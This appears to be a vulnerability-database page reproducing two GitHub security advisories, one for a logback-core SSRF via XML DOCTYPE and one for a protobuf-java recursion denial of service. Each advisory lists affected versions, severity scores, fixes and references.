"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-12801"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-19T22:22:44Z",
"nvd_published_at": "2024-12-19T17:15:08Z",
"severity": "LOW"
},
"details": "Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.\n \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files.",
"id": "GHSA-6v67-2wr5-gvf4",
"modified": "2025-01-03T19:06:48Z",
"published": "2024-12-19T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/5f05041cba4c4ac0a62748c5c527a2da48999f2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.3.15"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear",
"type": "CVSS_V4"
}
],
"summary": "QOS.CH logback-core Server-Side Request Forgery vulnerability"
}
GHSA-735F-PC8J-V9W8
Vulnerability from github – Published: 2024-09-19 16:06 – Updated: 2025-09-10 20:53
VLAI
Summary
protobuf-java has potential Denial of Service issue
Details
Summary
When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.
Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com
Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.
Severity
CVE-2024-7254 High CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.
Proof of Concept
For reproduction details, please refer to the unit tests (Protobuf Java LiteTest and CodedInputStreamTest) that identify the specific inputs that exercise this parsing weakness.
Remediation and Mitigation
We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: * protobuf-java (3.25.5, 4.27.5, 4.28.2) * protobuf-javalite (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) * com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0.rc.1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0.rc.1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7254"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T16:06:03Z",
"nvd_published_at": "2024-09-19T01:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team \u003cecosystem@trailofbits.com\u003e\n\nAffected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n### Severity\n[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)\nThis is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness.\n\n### Remediation and Mitigation\nWe have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:\n* protobuf-java (3.25.5, 4.27.5, 4.28.2)\n* protobuf-javalite (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)\n* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)",
"id": "GHSA-735f-pc8j-v9w8",
"modified": "2025-09-10T20:53:03Z",
"published": "2024-09-19T16:06:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241213-0010"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250418-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "protobuf-java has potential Denial of Service issue"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…